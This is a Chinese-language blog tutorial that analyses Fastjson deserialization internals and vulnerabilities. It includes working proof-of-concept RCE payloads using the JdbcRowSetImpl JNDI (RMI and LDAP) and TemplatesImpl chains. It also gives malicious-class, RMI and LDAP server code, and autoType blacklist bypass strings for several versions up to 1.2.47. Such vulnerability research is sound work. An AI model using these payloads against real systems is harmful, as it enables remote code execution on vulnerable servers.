Fastjson 是一个Java 库,可以将Java 对象转换为JSON 格式,当然它也可以将JSON 字符串转换为Java 对象

  1. <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
  2. <dependency>
  3. <groupId>com.alibaba</groupId>
  4. <artifactId>fastjson</artifactId>
  5. <version>1.2.24</version>
  6. </dependency>

FastJson简单使用

序列化

JSON.toJSONString()序列化对象

package com.yq1ng.demo;

/**
 * UserDao
 *
 * @author yq1ng
 * @date 2021/12/22 21:06
 * @since 1.0.0
 */
public class User {
    private String name;

    public User(){
        System.out.println("init...");
    }

    public String getName() {
        System.out.println("getName...");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName...");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println("toString...");
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
}
package com.yq1ng.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

/**
 * TestFastJson
 *
 * @author yq1ng
 * @date 2021/12/22 21:18
 * @since 1.0.0
 */
public class TestFastJson {
    public static void main(String[] args) {
        User user = new User();
        user.setName("yq1ng");
        System.out.println("============================No WriteClassName=============================");
        System.out.println(JSON.toJSONString(user));
        System.out.println("=============================WriteClassName===============================");
        System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName));
    }
}

image.png

反序列化

JSON.parse():反序列化字符串,返回 fastjson.JSONObject JSON.parseObject():反序列化字符串,返回Object

package com.yq1ng.demo;

import com.alibaba.fastjson.JSON;

/**
 * TestFastJson
 *
 * @author yq1ng
 * @date 2021/12/22 21:18
 * @since 1.0.0
 */
public class TestFastJson {
    public static void main(String[] args) {
        String ser = "{\"name\":\"yq1ng\"}";
        DeSer(ser);
        System.out.println("===================================================================================================");
        String ser1 = "{\"@type\":\"com.yq1ng.demo.User\",\"name\":\"yq1ng\"}";
        DeSer(ser1);
    }
    public static void DeSer(String ser){
        System.out.println(JSON.parse(ser).getClass().getName());
        System.out.println("====================================================");
        System.out.println(JSON.parseObject(ser).getClass().getName());
        System.out.println("====================================================");
        System.out.println(JSON.parseObject(ser, User.class).getClass().getName());
    }
}

image.png
可以看到,在不加@type的时候不能正确的反序列化,因为不知道是那个类的,后面JSON.parseObject(ser, User.class)加上类算是正常反序列化了;而加上@type的字符串就算不加User.class也可以正常反序列化。也能看出这里反序列化均调用了 setter,那么在 setter 做点手脚会不会有惊喜?不演示了,肯定可以的

setter为private

当设置User的setter的修饰为private的时候(一般不会这么设置,或者说没有private属性对应的setter),就不能正确反序列化了,会访问不到数据

package com.yq1ng.demo;

/**
 * UserDao
 *
 * @author yq1ng
 * @date 2021/12/22 21:06
 * @since 1.0.0
 */
public class User {
    private String name;
    private String age;

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    public User(){
        System.out.println("init...");
    }

    public String getName() {
        System.out.println("getName...");
        return name;
    }

    private void setName(String name) {
        System.out.println("setName...");
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

image.png
这样的话是不能利用的,但是好在fastjson1.2.22版本引入了Feature.SupportNonPublicField,反序列化的时候添加这个属性就可以访问到private的方法。猜测是截取原来的字符串赋值的
image.png

反序列化流程

package com.yq1ng.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

/**
 * TestFastJson
 *
 * @author yq1ng
 * @date 2021/12/22 21:18
 * @since 1.0.0
 */
public class TestFastJson {
    public static void main(String[] args) {
        String ser = "{\"@type\":\"com.yq1ng.demo.User\",\"age\":\"18\",\"name\":\"yq1ng\"}";
//        User user = JSON.parseObject(ser, User.class, Feature.SupportNonPublicField);
        User user = JSON.parseObject(ser, User.class);
        System.out.println(user.getName()+"..."+user.getAge());
    }
}

JSON.parseObject()打断
image.png
跟进parse()
image.png
不用管那个989的值,没有设置Feature.SupportNonPublicField的话默认就为这个。继续跟,看看怎么解析
image.png
DefaultJSONParser()
image.png
先跟进com/alibaba/fastjson/parser/JSONScanner.java#JSONScanner()看看
image.png
注意构造函数这里 text记录了反序列化的字符串,后面有用,然后进行重载DefaultJSONParser()
image.png
这里判断解析的是{还是[,然后为Token赋值,接着往下来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()
image.png
由于上面的赋值,会来到LBRACE分支,解析object。可以看到如果是LBRACKET的话会解析为数组。这里先创建一个空的JSONObject,然后解析,跟进
image.png
这里会通过scanSymbol获取到@type指定的类
com/alibaba/fastjson/parser/JSONLexerBase.java#scanSymbol()
image.png
com/alibaba/fastjson/parser/JSONScanner.java#next()
image.png
通过读取上面存储的反序列化字符串获取需要加载的类的全限定名,接着进行loadClass()
com/alibaba/fastjson/util/TypeUtils.java#loadClass()
image.png
首先从mappings中寻找反序列化的类,看一下mappings是什么
image.png
应该是Java基础数据类型类,不满足条件会在下面加载所需类
image.png
加载后进行反序列化
com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
image.png
跟进
image.png
这里重载了getDeserializer()
image.png
跟进createJavaBeanDeserializer(),这里 clazz == type == @type 的类,createJavaBeanDeserializer()就是创建一个反序列化器
image.png
跟进JavaBeanInfo.java#build(),这里解释了为什么可以自动调用setter和getter
image.png
首先反射获取了type指定类的一些基本信息:构造函数、字段、方法。接着往下
image.png
首先是一个大判断,如果构造函数为空、类不为接口或方法不为抽象方法那就会进入if,这里显然不满足,跳过一段,来到这里
image.png
第四个是参数个数,继续往下
image.png
这里根据c3的不同情况进行截断,只要setter后半部分,比如这里就是setName截取就是name。接着往下
image.png
这里去获取该属性,如果没获取到,那就在属性前加上is,例如name获取失败就会变成isName。然后将这些信息添加到fieldList
image.png
添加完setter后改getter了
image.png
和setter类似吧
image.png
然后也是添加到fieldList里面,最后返回JavaBeanInfo
image.png
这里记录了属性的setter是public的信息,例如上图只存储了age而name却没有
接着返回到com/alibaba/fastjson/parser/ParserConfig.java#createJavaBeanDeserializer()
image.png
跟进之前先在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#JavaBeanDeserializer()
接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject(ParserConfig config, JavaBeanInfo beanInfo)这里打上断点,期间有很多不需要看的
image.png
image.png
beanInfo中关于属性的信息存起来,后面会使用,接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
image.png
跟进后是使用asm技术调用指定类了,首先进行初始化类

asm就是javassti的“底层版”,性能更好,但是没有javassti容易使用。《Java Javassist/ASM 框架比较》

image.png
image.png
这里idea并不能跟进,中间会对public的setter进行调用,设置值(忘了截图)然后一直往下
image.png
这里会对private的属性进行解析,这里是name,跟进
image.png
这里会对key进行一次智能匹配(模糊匹配),跟进
image.png
这里会对下划线和短横线进行删除,例如:stu_name --> stuname。然后返回,注意我们这次debug是没开启SupportNonPublicField
image.png
跟进parser.lexer.isEnabled(mask)
image.png
与运算看是否为0,而传入的feature=131072很有意思,这个是没开启SupportNonPublicField的默认值,其二进制是100000000000000000
image.png
那么显然返回值是false了,所以我们加上SupportNonPublicField继续debug
进入if
image.png
这里创建了一个支持并发的hashmap,然后获取@type的所有属性存到fields里面,fields里面存了其对象、type等等(反射基础知识
image.png
接着将属性修饰中不带finalstatic的存起来,最后赋值给extraFieldDeserializers,这里getFieldDeserializer()的作用就是除去已经set的属性(上面初始化JavaBeanDeserializer(反序列化器)的时候提到了存储存在public setter的属性
image.png
image.png
接着将属性与其对应的fieldInfo变为键值对存进extraFieldDeserializers,继续往下
image.png
跟进parseField()
image.png
跟进getFieldValueDeserilizer()
image.png
这里field没有注解,所以进入else
image.png
这次是返回了一个StringCodec。而fieldValueDeserilizer可以理解为反序列化的一种方式,StringCodec就是纯字符编码。接着看com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
image.png
判断field类型是否为泛型,这里不满足,继续

关于Type的泛型可以看:https://www.cnblogs.com/baiqiantao/p/7460580.html#parameterizedtype-%E5%8F%82%E6%95%B0%E5%8C%96%E7%B1%BB%E5%9E%8B

image.png
这里先判断fieldValueDeserilizer是否为反序列化器,不满足则判断是否存在注解,也不满足,所以会到最后一个else分支,跟进fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name)。这里去截取,位置在com/alibaba/fastjson/serializer/StringCodec.java#deserialze()
image.png
跟进lexer.stringVal()
image.png
然后返回到com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
image.png
这里赋值,跟进
image.png
com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue()反射赋值。解析结束

FastJson 漏洞

从上面可以知道反序列化会自动调用setter和getter,如果这两个方法里面存在恶意的代码那么也会被执行,这里先不进行介绍的,先来看 JdbcRowSetImpl利用链

JdbcRowSetImpl利用链

jdk版本:≤ 6u141、7u131、8u121 使用高版本需加入jvm参数:-Dcom.sun.jndi.rmi.object.trustURLCodebase=true,因为8u121版本后默认关闭了com.sun.jndi.rmi.object.trustURLCodebase

漏洞利用(JNDI)

poc:String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";

首先创建客户端

package com.yq1ng.vul;

import com.alibaba.fastjson.JSON;

/**
 * FastJsonTest
 *
 * @author yq1ng
 * @date 2021/12/29 19:45
 * @since 1.0.0
 */
public class FastJsonTest {
    public static void main(String[] args) {
        String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
        JSON.parse(ser);
    }
}

然后是jndi服务端

package com.yq1ng.vul;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * RMIServer
 *
 * @author yq1ng
 * @date 2021/12/29 19:46
 * @since 1.0.0
 */
public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Evil", referenceWrapper);
        System.out.println("Server is running...");
    }
}

接着是恶意类,注意这个恶意类不能带有包名,也就是package

import java.io.IOException;

/**
 * Evil
 *
 * @author yq1ng
 * @date 2021/12/29 19:46
 * @since 1.0.0
 */
public class Evil {
    public Evil(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

然后编译恶意类,并起一个python简单服务,注意python3的启动方式是python -m http.server 8080不再是python -m SimpleHTTPServer 8080
image.png
然后启动jndi服务,启动客户端即可
image.png

漏洞分析

poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}"; ,从上面的反序列化流程可以知道会去调用指定类,然后调用setter,这里会调用setDataSourceName()setAutoCommit()
deserialze后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()
image.png
image.png
这里默认的dataSource是空的,所以会设置为我们传入的恶意rmi。接着来到setAutoCommit()
image.png
这里conn为空,所以进行获取,这里形参也解释了为什么payload的autoCommittrue。跟进this.connect()
image.png
首先初始化上下文,然后开始找传入的rmi类
image.png
继续跟
image.png
首先看getRootURLContext(),全局查找的话会有四个类去调用
image.png
这里会根据不同协议去调用不同的getRootURLContext(),这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()
image.png
这里对传入的rmi格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回
image.png
继续跟
image.png
首先是一个判空,然后去注册中心找Evil,接着在return跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()
image.png
这里将构造的Reference赋值给var3,然后跟进NamingManager.java#getObjectInstance()
image.png
到这里跟进getObjectFactoryFromReference()
image.png
先从本地尝试加载Evil,如果不存在继续往下看
image.png
本地不存在的话就会尝试从codebase中加载class

什么是codebase?以下内容摘自:Java-RMI codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。
codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。

跟进helper.loadClass()
image.png
这里通过URLClassLoader进行加载类。最后进行实例化,导致rce
image.png

漏洞利用(LDAP)

poc:String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";

<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>5.1.4</version>
    <scope>test</scope>
</dependency>

恶意类不变,也是开启一个http
image.png
客户端改改poc就行

package com.yq1ng.vul;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.yq1ng.demo.User;

/**
 * FastJsonTest
 *
 * @author yq1ng
 * @date 2021/12/29 19:45
 * @since 1.0.0
 */
public class FastJsonTest {
    public static void main(String[] args) {
        String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
        JSON.parse(ser, Feature.SupportNonPublicField);
    }
}

server如下

package com.yq1ng.vul;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

/**
 * LdapServer
 *
 * @author yq1ng
 * @date 2022/1/4 21:29
 * @since 1.0.0
 */
public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8888/#Evil";
        int port = 1389;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

image.png

TemplatesImpl利用链

漏洞利用

客户端反序列化需要带上Feature.SupportNonPublicField,这也就导致这个链子比较鸡肋 poc:String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + badByteCodes + "\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}"; 最简poc:String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +<br /> "\"_bytecodes\":[\"" + badByteCodes + "\"]," +<br /> "\"_name\":\"a.b\",\"_outputProperties\":{ }}";

先创建一个恶意类,然后编译为class待用

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

/**
 * TLI
 *
 * @author yq1ng
 * @date 2021/12/30 22:39
 * @since 1.0.0
 */
public class TLI extends AbstractTranslet {

    public TLI(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

写一个客户端

package com.yq1ng.vul;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

/**
 * FastJsonTest
 *
 * @author yq1ng
 * @date 2021/12/29 19:45
 * @since 1.0.0
 */
public class FastJsonTest {
    public static void main(String[] args) {
        String badByteCodes = encryptToBase64("D:\\Software\\IntelliJ IDEA 2021.2.2\\workpath\\fastjson\\src\\test\\java\\TLI.class");
        String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_bytecodes\":[\"" + badByteCodes + "\"]," +
                "\"_name\":\"a.b\",\"_outputProperties\":{ }}";
        JSON.parse(ser, Feature.SupportNonPublicField);
    }

    public static String encryptToBase64(String filePath){
        if (filePath == null){
            return null;
        }
        try {
            byte[] bytes = Files.readAllBytes(Paths.get(filePath));
            return Base64.getEncoder().encodeToString(bytes);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }
}

因为TemplatesImpl中的属性为private所以需要加上Feature.SupportNonPublicField
image.png

漏洞分析

先看懂cc2会来得更快。这个加载就不多说 了,主要是poc的几个疑点

为什么需要加上_outputProperties

pco中有_outputProperties,那么反序列化就会调用其getter和setter,从上面的流程也可以知道在解析属性的时候会删除下划线,所以这里就会调用getOutputProperties()而在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#getOutputProperties()中调用了newTransformer()后面就可以加载字节码了
image.png

为什么_bytecodes需要base64

在cc2中可以知道_bytecodes直接是字节码,不需要base64,而这里却必须base64编码才行。这是因为fastjson内部的一个“约定”,序列化byte[]会base64编码,反序列化String->byte[]会base64解码,具体代码在com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
image.png
直接看下面这个
image.png
跟进去
image.png
image.png
image.png
image.png

为什么不需要_tfactory

cc2中可以知道_tfactory是不能为空的,而这里poc甚至不需要加上_tfactory也可以成功rce。流程里面提到会解析所有没去调用setter的属性
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#deserialze()
image.png
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#parseField()
image.png
跟进
image.png
这个fieldValueDeserilizer符合反序列化器(JavaBeanDeserializer),所以进入第一个if
image.png
这里会用asm去获取一个class com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl对象,所以poc中不需要增加_tfactory字段也可以

各种Bypass

1.2.25-1.2.41

类名前加上L,类名后加上;即可绕过,前提是服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true); poc:String ser = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";其余类似

先看一个wiki:https://github.com/alibaba/fastjson/wiki/enable_autotype,在1.2.25之后的版本,以及所有的.sec01后缀版本中,autotype功能是受限的,也就是不能随意加载类了,除非服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);或以其他方式开启autotype。
maven直接拉取1.2.25版本的,然后使用idea对比两个jar包(先在idea选中一个jar包,然后按ctrl+d选取另外一个jar即可)
image.png
可以看到以前直接加载类的变成先checkAtuo了,这个方法分两种情况,一个是没开启autotype,一个是开启了autotype。代码控制是boolean autoTypeSupport

未开启autotype

image.png
直接看这段代码,先判断是否存在黑名单内,存在则抛异常;然后判断是否在白名单,存在则加载此类,然后return。
如果不在白名单的话接着往下走
image.png
直接抛异常。
所以总结一下就是未开启autotype的话传入的类需要不在黑名单而又在白名单内

开启autotype

开启的话过滤代码是先判是否在白名单然后判是否在黑名单
image.png
白名单默认为空,黑名单如下

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

看似过滤很多,但是checkAutoType()最后加载类有猫腻
image.png
跟进
image.png
那么只需要在类前加上L类后加上;即可绕过所有黑名单
image.png
其他类似,不再展示。

1.2.42

删除了开头的L和结尾的;,bypass双写就可 poc:String ser = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";

41的修复在这:https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd
可以看到对明文黑名单进行了hash,这样我们就不知道过滤了什么类,好在前辈们已经铺好了路:https://github.com/LeadroyaL/fastjson-blacklist
image.png
其加密方式在src/main/java/com/alibaba/fastjson/util/TypeUtils.java#fnv1a_64()
image.png
除了黑名单的改动还有就是checkAutoType()哪里
image.png
如果类开头为L结尾为;则将其截去,这很好的修复了41的绕过。那么42的bypass也很明显了,直接双写即可,即LL;;。修复方法属实可爱

1.2.43修复

import com.alibaba.fastjson.JSONException;

/**
 * test
 *
 * @author yq1ng
 * @date 2022/1/6 16:29
 * @since 1.0.0
 */
public class test {
    public static void main(String[] args) {
        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;
        String className = "LLtest;";
        //  L开头,;结尾
        if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L) {
            //  LL开头直接抛异常
            if ((((BASIC
                    ^ className.charAt(0))
                    * PRIME)
                    ^ className.charAt(1))
                    * PRIME == 0x9195c07b5af5345L) {
                throw new JSONException("autoType is not support. ");
            }
            // 9195c07b5af5345
            System.out.println(className.substring(1, className.length() - 1));
        }
    }
}

修复也很直接,遇到LL直接抛异常。再往后的绕过就需要其他jar包的支持了

1.2.45

前提条件:需要有第三方组件ibatis-core 3:0
poc:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/Exploit"}}

1.2.47通杀CheckAutoType和黑名单

漏洞原理:通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

上面几个版本流程差不多,这里是以1.2.47版本,未开启AutoTypeSupport为例
com/alibaba/fastjson/parser/ParserConfig.java#checkAutoType()打上断
image.png
这里由于没开启AutoTypeSupport所以不会判断白黑名单,继续往下
image.png
跟进
image.png
从mappings里面找的,看一下他是怎么被初始化的
image.png
跟进静态方法中的addBaseClassMappings()

private static void addBaseClassMappings(){
        mappings.put("byte", byte.class);
        mappings.put("short", short.class);
        mappings.put("int", int.class);
        mappings.put("long", long.class);
        mappings.put("float", float.class);
        mappings.put("double", double.class);
        mappings.put("boolean", boolean.class);
        mappings.put("char", char.class);
        mappings.put("[byte", byte[].class);
        mappings.put("[short", short[].class);
        mappings.put("[int", int[].class);
        mappings.put("[long", long[].class);
        mappings.put("[float", float[].class);
        mappings.put("[double", double[].class);
        mappings.put("[boolean", boolean[].class);
        mappings.put("[char", char[].class);
        mappings.put("[B", byte[].class);
        mappings.put("[S", short[].class);
        mappings.put("[I", int[].class);
        mappings.put("[J", long[].class);
        mappings.put("[F", float[].class);
        mappings.put("[D", double[].class);
        mappings.put("[C", char[].class);
        mappings.put("[Z", boolean[].class);
        Class<?>[] classes = new Class[]{
                Object.class,
                java.lang.Cloneable.class,
                loadClass("java.lang.AutoCloseable"),
                java.lang.Exception.class,
                java.lang.RuntimeException.class,
                java.lang.IllegalAccessError.class,
                java.lang.IllegalAccessException.class,
                java.lang.IllegalArgumentException.class,
                java.lang.IllegalMonitorStateException.class,
                java.lang.IllegalStateException.class,
                java.lang.IllegalThreadStateException.class,
                java.lang.IndexOutOfBoundsException.class,
                java.lang.InstantiationError.class,
                java.lang.InstantiationException.class,
                java.lang.InternalError.class,
                java.lang.InterruptedException.class,
                java.lang.LinkageError.class,
                java.lang.NegativeArraySizeException.class,
                java.lang.NoClassDefFoundError.class,
                java.lang.NoSuchFieldError.class,
                java.lang.NoSuchFieldException.class,
                java.lang.NoSuchMethodError.class,
                java.lang.NoSuchMethodException.class,
                java.lang.NullPointerException.class,
                java.lang.NumberFormatException.class,
                java.lang.OutOfMemoryError.class,
                java.lang.SecurityException.class,
                java.lang.StackOverflowError.class,
                java.lang.StringIndexOutOfBoundsException.class,
                java.lang.TypeNotPresentException.class,
                java.lang.VerifyError.class,
                java.lang.StackTraceElement.class,
                java.util.HashMap.class,
                java.util.Hashtable.class,
                java.util.TreeMap.class,
                java.util.IdentityHashMap.class,
                java.util.WeakHashMap.class,
                java.util.LinkedHashMap.class,
                java.util.HashSet.class,
                java.util.LinkedHashSet.class,
                java.util.TreeSet.class,
                java.util.concurrent.TimeUnit.class,
                java.util.concurrent.ConcurrentHashMap.class,
                loadClass("java.util.concurrent.ConcurrentSkipListMap"),
                loadClass("java.util.concurrent.ConcurrentSkipListSet"),
                java.util.concurrent.atomic.AtomicInteger.class,
                java.util.concurrent.atomic.AtomicLong.class,
                java.util.Collections.EMPTY_MAP.getClass(),
                java.util.BitSet.class,
                java.util.Calendar.class,
                java.util.Date.class,
                java.util.Locale.class,
                java.util.UUID.class,
                java.sql.Time.class,
                java.sql.Date.class,
                java.sql.Timestamp.class,
                java.text.SimpleDateFormat.class,
                com.alibaba.fastjson.JSONObject.class,
        };
        for(Class clazz : classes){
            if(clazz == null){
                continue;
            }
            mappings.put(clazz.getName(), clazz);
        }
        String[] awt = new String[]{
                "java.awt.Rectangle",
                "java.awt.Point",
                "java.awt.Font",
                "java.awt.Color"};
        for(String className : awt){
            Class<?> clazz = loadClass(className);
            if(clazz == null){
                break;
            }
            mappings.put(clazz.getName(), clazz);
        }
        String[] spring = new String[]{
                "org.springframework.util.LinkedMultiValueMap",
                "org.springframework.util.LinkedCaseInsensitiveMap",
                "org.springframework.remoting.support.RemoteInvocation",
                "org.springframework.remoting.support.RemoteInvocationResult",
                "org.springframework.security.web.savedrequest.DefaultSavedRequest",
                "org.springframework.security.web.savedrequest.SavedCookie",
                "org.springframework.security.web.csrf.DefaultCsrfToken",
                "org.springframework.security.web.authentication.WebAuthenticationDetails",
                "org.springframework.security.core.context.SecurityContextImpl",
                "org.springframework.security.authentication.UsernamePasswordAuthenticationToken",
                "org.springframework.security.core.authority.SimpleGrantedAuthority",
                "org.springframework.security.core.userdetails.User"
        };
        for(String className : spring){
            Class<?> clazz = loadClass(className);
            if(clazz == null){
                break;
            }
            mappings.put(clazz.getName(), clazz);
        }
    }

将常用类放入mappings,我们传入的java.lang.Class不在这里,所以返回为空,往下findClass()是可以找到的,所以返回
image.png
来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
image.png
跟进到com/alibaba/fastjson/serializer/MiscCodec.java#deserialze()
image.png
这里会到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()取得传入的恶意类:com.sun.rowset.JdbcRowSetImpl
image.png
return后继续往下经过一系列if判断
image.png
跟进
image.png
这里会将恶意类put进mappings,前提是cache为true,而这个loadClass()是重载来的,cache默认为true
image.png
